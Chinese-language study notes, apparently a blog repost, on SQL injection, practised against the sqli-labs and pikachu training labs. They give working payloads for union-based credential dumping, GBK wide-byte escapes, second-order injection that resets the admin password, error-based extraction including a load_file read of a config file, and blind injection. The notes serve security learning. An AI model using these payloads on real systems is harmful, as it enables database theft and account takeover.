★SQL注入漏洞(1)大纲和原理

按照注入方法分类:
1.union select注入
2.报错函数注入法
3.盲注(布尔盲注/时间盲注)
4.堆叠查询注入
注入类型:
GET型注入
POST型注入(可以借助burpsuite)(更多的是针对账号和密码这种表单的形式)
1.数字型输入
2.字符型注入
    (XX型注入 即("")  (''))
3.搜索型注入(like型)
4.报错函数注入
    适用:delete,insert/update
    函数:updatexml/extractvalue/floor
5.DNSlog注入
6.http Header头注入
    User-Agent注入
    Referer注入
    Cookie注入
7.盲注
    布尔盲注 base on boolian
    时间盲注 base on time
8.宽字节注入
9.堆叠查询注入
10.二次注入(密码重置越权)
11.base64注入
12.XFF注入
13.SQL注入绕过WAF
14.into outfile注入
SQL注入高级篇:
1.waf注释符过滤
2.密码重置越权(越权漏洞)
3.waf屏蔽空格
4.union select屏蔽
常规union联合注入步骤
1.推断数据库的语法大概是什么       select * from 某个表 where id= '参数' limit 0,1;
2.使其报错,显示出自己的闭合方式
3.验证目标数据库语句的参数闭合方式
4.确定这个数据库有多少列  可以借助order by
5.确定所有列中有多少列是可以显示在当前网页上的 也就是联合查询获取报错位 union select (保证union前面的内容是错误的 避免遮挡)
6.开始探测数据库内部的内容 修改报错位从而获取相应的内容
7.查询表--->查询列--->查询字段(数据)
步骤1:
推断数据库语法大概是什么
select  * from [某个表] where id = [参数] limit 0,1;
select  * from [某个表] where id = '2' limit 0,1;
步骤2:
让他报错,显示自己的闭合方式
select  * from [某个表] where id = '2\' limit 0,1;
1\' LIMIT 0,1
' " ') ") )) ")) ')) +没有闭合
步骤3:
验证目标的闭合方式
select  * from [某个表] where id = ' 2'--+  ' limit 0,1;
执行之后
select  * from [某个表] where id = ' 2'
如果执行成功,闭合凡是就是你所想的
步骤4:
确定一下,多少个列
select  * from [某个表] where id = ' 2' order by 10 --+  ' limit 0,1;
判断一下他是否有10列,如果有显示正常,如果没有就报错
通过二分法判断有多少列
select  * from [某个表] where id = ' 2' order by 3 --+  ' limit 0,1;
不报错,所以有3列
步骤5:
使用联合查询
因为推断出有3列,所以union select 1,2,3
记住!前面的参数必须出错,否则后面的1,2,3报错位出不来
id=-2' union select 1,2,3  --+
出现报错位,分别问2,3
步骤6:
开始刺探内部内容
id=-2' union select 1,database(),3  --+
输出数据库库名
输出库名为security
version()
user()
@@datadir
information_schema是自带的,相当于数据库户口本
information_schema的tables保存着所有数据库库名和表名的对应关系
information_schema的columns保存着库名--表名--列名所有对应关系
id=-2' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 --+
修改limit后面的参数即可
emails
referers
uagents
users
id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
步骤7:
查询表中的列
id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
发现:id,username,password
步骤8:
查询内容
union select 1,group_concat(username),group_concat(password) from users --+
漏洞为什么会出现?
因为和用户有互动, 因为需要调用后端的逻辑代码(PHP代码),甚至需要调用数据库或者操作系统命令(命令执行漏洞)
交互过程:
人输入给浏览器,浏览器把值传给服务端(php代码逻辑处理),服务端和数据库进行查询交互,然后返回结果给服务端,服务端进行拼接处理,显示到我们的浏览器上。
数据库是和服务端进行交互的,并不和浏览器直接交互
★SQL注入漏洞(1)大纲和原理_第1张图片
浏览器get传入的是2'  而2'本身又被一对单引号包围 所以要会区分这个报错的信息
mysql的单引号表示特殊字符 之中的内容表示字符串 
特点:必须成对出现 C语言等编程语言也是这样
上图报错原因:单引号不成对 1和2成对 3引号被单出来了不符合语法规则
输入两个单引号以后就不报错了 因为成对了
★SQL注入漏洞(1)大纲和原理_第2张图片
Mysql的注释符(3个):前两个是单行注释 第三个叫内联注释符 是多行注释符号
#
-- -         //   -- -这里是单行注释 被注释的内容写在第三个-的后面
/* */
--           //切记这样写必须--后面多一个空格出来 否则会报错 而+本身就表示空格占位符 所以也可以用--+来注释
--+       //加号相当于空格占位符
★SQL注入漏洞(1)大纲和原理_第3张图片 加上注释以后 2后面的单引号起到了闭合 而多余的引号被注释符注释掉了也就不会报错了
注意:此时后面的limit也被注释了 不过由于本身数据就一行,所以没有影响 但是是存在报错的可能的
★SQL注入漏洞(1)大纲和原理_第4张图片
第一关的语法中浏览器url会自动会id=后面的内容加上一对单引号 而2本身后面又跟了一个单引号 所以2完成了闭合 多出来的另一个右端引号被注释掉了 所以也没有影响
and 1=1在逻辑上右边是正确的 左边也正确 所以可以成功执行查询
但是如果改成 and 1=2 在逻辑上and的右边是错误的 表示false 所以and这个整体是1 and 0  是错误的
改成 or 1=1 或者  or 1=2 最后的结果都是可以查询成功。因为或,左边的为真 整体就是真
此时发现 个人输入的内容可以控制查询的正确与否 表示注入成功!此时完成 第一步,初步的闭合!
PS:闭合的不好 是没办法注入的。此时将整个内容都放到了引号中闭合 and也成为了字符串的一部分,已经没有逻辑判断与的能力了 丧失了原本的意义
数据库中id设置的是int类型 他会把输入的字符串内容做一个强制类型转换
转换规则:以遇到的第一个字符串为准 本身和后续的内容全都省略掉 空格本身也是字符串 1是数字会被保留 所以空格是第一个字符串 其本身和后面的内容全都被省略了
举例:1w21   --->>>  1           11w21 ----->>>  11       w11q ---->> 空 转换失败
★SQL注入漏洞(1)大纲和原理_第5张图片
Sqli-labs的第二题和第一题不同点在于:本身传参数的语法id=后面没有引号
语法本身也是需要我们通过报错信息来判断的 得到语法才能更好的判断闭合
★SQL注入漏洞(1)大纲和原理_第6张图片
建议:把那个limit的内容给注释掉 因为在脱库的时候这个东西会影响我们的操作
SQL注入类型总结大全
1.数字型注入(1.普通手工SQL注入方法  2.工具注入)
index.php?id=1 and 1=2
如果此时没有出现报错 说明id后的内容被转换成了整形后 只保留下了1 所以并不是数字型
如果此时出现了错误 说明and 1=2这条逻辑语句被正常执行了 说明存在注入 可以直接尝试order by 和union select
(切记 union select需要前面的内容出错 否则会覆盖后面的内容 前面错误union select仍然可以执行)
2.字符型注入(1.普通手工SQL注入方法  2.工具注入)
(包括xx型 本质也就是字符型)
使用常见的几种闭合方式去猜测 看报错结果的回显来确定具体的数据库语法是怎样的
之后就可以通过相应的符号来完成闭合
ps:如果输入单引号没有出现错误 很可能是因为闭合是双引号 所以单引号被类型转换给省略掉了 可以尝试双引号看会不会出现报错
index.php?id=1'
index.php?id=1')
index.php?id=1"
index.php?id=1")
3.报错函数注入(error based)(1.报错函数手工注入  2.工具注入)
无法发现报错位置,但是数据库错了会显示出来
如果网站可以出现报错,能够发现漏洞,但是无法通过显性的方式告诉你数据库的信息,比如union select不会出现回显和信息
这个时候需要通过隐性的方式让其告诉我们数据库的信息。比如在尝试闭合的时候其也会有报错的信息。可以通过报错函数注入
★SQL注入漏洞(1)大纲和原理_第7张图片
4.盲注 (1.盲注手工注入方法  2.工具注入)
布尔型盲注 (booled based)
(例题 sqli-labs中的第八题布尔盲注)
无法发现报错位,数据库被破坏也无法爆出来,但是界面上只会出现有和没有东西两种情况
如果网站连报错的信息都没有,也就别谈所谓的回显了。这个时候闭合都困难。就需要布尔盲注了,本质就是猜
让程序判断,比如 你的数据库的第一个名字是在a和c之间的,如果是就显示,如果不是就不要显示
时间型盲注 (time based)
(例题 sqli-labs中的第九题 时间盲注)
无法发现报错位,数据库被破坏也无法爆出来,界面也没有出现或者消失东西的现象
本身一直都有字 不会有所变动 连非0即1的这种布尔型的回显都没有 不论输入什么都是you are in!
需要借助sleep(x)函数  如果是就睡x秒 如果不是就不要睡觉 用转圈圈的时间来判断 所以比较费时间! 如果网速卡的话 是容易判断错误的
5.HTTP Header 请求头注入(体现在注入点上) (复合)
有的网站可能会搜集用户的浏览器信息  比如百度要搜集用户的设备 比如电脑端和手机端 然后进行页面的自适配
因为网站会把这个信息保存到数据库里,因为有互动,所以就会存在注入
User-Agent注入(浏览器信息)
Referer注入(来路)
Cookie注入(邮箱cookie,可以不需要密码登录邮箱)
IP地址
★SQL注入漏洞(1)大纲和原理_第8张图片
cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数以cookie方式提交了,而一般的注入我们是使用get或者post方式提交
get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式
get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能
相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到 Java script语言了。
另外cookie注入的形成有两个条件
(1) 程序对get和post方式提交的数据进行了过滤,但未对cookie提交的 数据库 进行过滤。
(2) 在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。
cookie注入分为以下几个阶段:
  1. 判断是不是注入点
  2.得到字段总数
  3.查选表名
  4.查选列名
  5.脱裤(就是得到我们想得到列名的值)
javascript:alert(document.cookie="id="+escape("284"))
  document.cookie:表示当前浏览器中的cookie变量
  alert():表示弹出一个对话框,在该对话框中单击“确定”按钮确认信息。
  escape():该函数用于对字符串进行编码。
  cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。
6.二次注入(黑盒难以测试到,必须要有源码才能去审计)
步骤:登录--->注册---->改密码--->换账户登录
mysql_real_escape_string   //字符的转义mysql函数
注入原理:
恶意账号admin'#xbw  
查询的时候执行查询语句才会经过mysql_real_escape_string的过滤处理
但是保存到数据库的仍然是admin'#xbw
常识理解:如果账号被改了却不通知用户,那用户以后也都登录不上了,不合理
接下来进入修改密码的部分。源码分析发现 username借助了SESSION获取 会从当前登录的内存条件中获取
并没有经过mysql_real_escape_string 函数的过滤
★SQL注入漏洞(1)大纲和原理_第9张图片
执行的时候代入密码发现后续的内容被注释了。#后面的都被注释掉了
所以真正修改密码的账户变成了admin账户 所以就可以成功登录admin账户了
(本质是修改其他用户的密码。当然前提是得先确定那个被修改的账号本身也是存在的)
举例:sqli-labs的第24关卡
尝试单引号的注入的时候,回显的是一些嘲笑之类的内容。说明关键字被屏蔽了
网站上有防护 安装了安全狗 D盾
★SQL注入漏洞(1)大纲和原理_第10张图片
注册账号名为admin 发现用户名已经存在了
注册账号写为 
admin'#xbw123       //井号后面的内容可以随便输入
注册成功以后登录成功!
★SQL注入漏洞(1)大纲和原理_第11张图片
之后修改密码 重置自己的密码
此处登录admin账号发现可以登录成功!
7.宽字节注入(仅针对中国的网站 国外不会使用GBK编码)
输入单引号 会被其过滤成为 \'   自动添加上了一个转义符号
因为存在转义函数mysql_real_escape_string      admin'   --->admin\'
发现加几个单引号 就会出现几次转义符号的出现
思考:可不可以写转移符号进去 把它的转移符号给转义掉 admin\'  但是发现\也被转义掉了  ---> admin\\\'
宽字节即 GBK编码 主要就是给汉字使用的编码方式  特点是两个字节表示一个中文  mysql用gbk编码会把两个字符当作一个汉字
反斜杠"\"的url编码是"%5c"  单引号的url编码是"%27"   %df可以吃掉%5c  %df%5c是一个汉字
如果目标的环境使用的是GBK编码 那就找一个字符跟转义符 正好组成一个汉字即可
?id=1'
?id=1%df'
%df可以和反斜杠组成一个汉字 这样用于转义引号的反斜杠就被gbk编码掉了 这样单引号也就实现了存活
index.php?id=1%df' and 1=1 --+  
index.php?id=1%df' and 1=2 --+
index.php?id=1%df' order by 3 --+        //可以开始尝试union联合注入方法了
例题:sqli-labs中的T32 PS:单引号前面自动加反斜杠的情况 可以加%df
绕过方法 1.换一种表达方式 如'security'可以直接写database()
方法2:输入的地方用反引号 单引号改成反引号 但是不一定都能成功 需要运气
方法3:对输入的内容直接进行十六进制编码 这样就不需要加引号了  security进行hex编码得到  0x7365637572697479  users进行hex编码得到 0x7573657273
127.0.0.1/sqli-labs/Less-32/?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
127.0.0.1/sqli-labs/Less-32/?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=`security` --+   //失败
127.0.0.1/sqli-labs/Less-32/?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
127.0.0.1/sqli-labs/Less-32/?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+
127.0.0.1/sqli-labs/Less-32/?id=-1%df' union select 1,group_concat(username),group_concat(password) from users --+
尝试发现 题目会在单引号之前加反斜杠 不让我们补全
id=20000%df%27union select 1,user(),3 --+
其他尝试(%bf%27   %aa%27  %df  %da %db  %af  %ab)
INSERT型注入
★SQL注入漏洞(1)大纲和原理_第12张图片
宽字节注入与绕过原理
一般来说,如果开发人员在开发的时候,对传入的参数进行了特殊的函数处理,比如使用了trim()函数,htmlspecialchars()函数,addlashes函数,是可以过滤我们非法提交的参数,从而导致SQL注入无法成功。
攻击者完成的对参数的拼接,从而导致恶意的SQL语句写入。开发者要完成的是SQL输出参数的一个过滤比如对恶意的字符进行转移
trim() 函数
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
htmlspecialchars() 函数
把预定义的字符 "<" ">" 转换为 HTML 实体,预防 XSS
addslashes() 函数
返回在预定义字符之前添加反斜杠的字符串
预定义字符是 :
1. 单引号 (')
2. 双引号 (")
3. 反斜杠 (\)
4.NULL
宽字节注入需要有两个条件才能完成逃逸,从而导致绕过防御手段,进行恶意的SQL注入。
1.数据库为GBK编码
2. 使用了转义函数,将、 POGETST cookie 传递的参数进行过滤,将单引号、双引号、 null
等敏感字符用转义符 \ 进行转义。
绕过原理
在GBK编码中,反斜杠的编码是%5c,%df%5c是繁体字“连”,单引号成功逃逸,爆出Mysql数
据库的错误。
绕过方式(注意,如果是post型,需要用抓包工具执行才行)
1' and 1=1 #   (初始状态)
1%df' and 1=1 #   (在分号前加%df即可)
1/' and 1=1 #   (计算机特殊处理的原理,自动在分号前加注释符/)
1%5c' and 1=1 #  (/会被注释为%5c 所以没有注释效果)
1%df%5c' and 1=1 #  编码以后等同于 1 连' and 1=1# (加上%df后 %df%5c解释成连,则单引号有效)
具体的查询语句有如下几种:(替换对应的数字即可)(对不同的数据库需要修改相应的表名)
ps:limit 0,1 表示查询从第0行开始,查询1行。初始值是0而不是1,切记!(也可以只有一个参数,同理理解即可)
#mysql版本   version()
#数据库用户名   user()
#数据库名   database()
#系统用户名   system_user()
#当前用户名   current_user
#当前链接数据库的用户名  session_user()
#查询数据表  group_concat(table_name) from information_schema.tables where table_schema=database()
#查询数据列  group_concat(column_name) from information_schema.columns where table_name='users'
#查询数据列  username from pikachu.users
#查询字段   column_name from information_schema.columns where table_name=0x6164d698 limit 0,1
#查询数据库(一个一个查)SCHEMA_NAME from information_schema.SCHEMATA limit 2,1
#查询数据库(全部查出来)group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
#查询所有的表 group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()
#查询数据   group_concat(username,0x3a,password) from admin
#注入出数据库所有的内容  group_concat(id,0x3a,username,0x3a,password) from security.users 
报错注入: 前置条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
1.updatexml()函数 Mysql中对XML文档数据进行查询和修改的XPATH函数。(参数1和3不同则报错,从而执行第二个参数的信息)
and updatexml(1,concat(0x7e,version()),0)   #查询数据库版本  可以更改concat中间的内容进行查询
and updatexml(1,concat(0x7e,database()),0)  #0x7e为了避免报错信息不被吃掉,显示出完整的信息。
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),0)      #concat可以有两个参数,一个0x7e一个要查询的数据,也可以是三个参数,最后一个是0,可以让数据更容易判断
             #如果用limit来限制行的话可以在concat中第二个参数后面加上去就可以了。

2.extractvalue()函数 Mysql中对XML文档数据进行查询的函数
and extractvalue(0,concat(0x7e,database()))
and extractvalue(1,concat(0x7e,(select load_file ("C:\\inetpub\\wwwroot\config.inc.php")),0x7e))  #读取文件

3.floor()函数    Mysql中用来取整的函数。(后期深入学习)
kobe' and (select 2 from (select count(*),concat version(),floor(rand(0)*2) x
from information_schema.tables group by x )a)#利用的逻辑差不多
盲注
常用的三个函数
1.if函数
IF(condition, value_if_true, value_if_false)
IF函数根据条件的结果为true或false,返回第一个值,或第二个值
mysql举例:
SELECT IF(500<1000, 5, 10);
SELECT IF(STRCMP("hello","bye") = 0, "YES", "NO");
2. SUBSTR (str, pos)函数
SUBSTR (str, pos, len)
截取从pos位置开始到最后的所有str字符串
参数说明:
str为列名/字符串;
pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表
示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置
pos为负数,那么 表示就从倒数第几个开始截取;
len为截取字符个数/长度。
3. ascii
ASCII(str)
返回字符串str 最左面 字符的ASCII代码值,如果str是空字符串,返回0,如果str是
NULL,返回NULL
盲注:在某些情况下后台会使用错误消息屏蔽来屏蔽报错,同时无法根据报错信息来进行判断。
根据分类不同,分为基于时间的盲注和基于真假的盲注。
#基于真假的盲注
kobe' and ascii(substr(database(),1,1))=112#
#基于时间的盲注:
kobe' and sleep(100)#
kobe' and if(substr(database(),1,1)='a',sleep(5),null) #

你可能感兴趣的:(Web安全,sql,web安全,安全)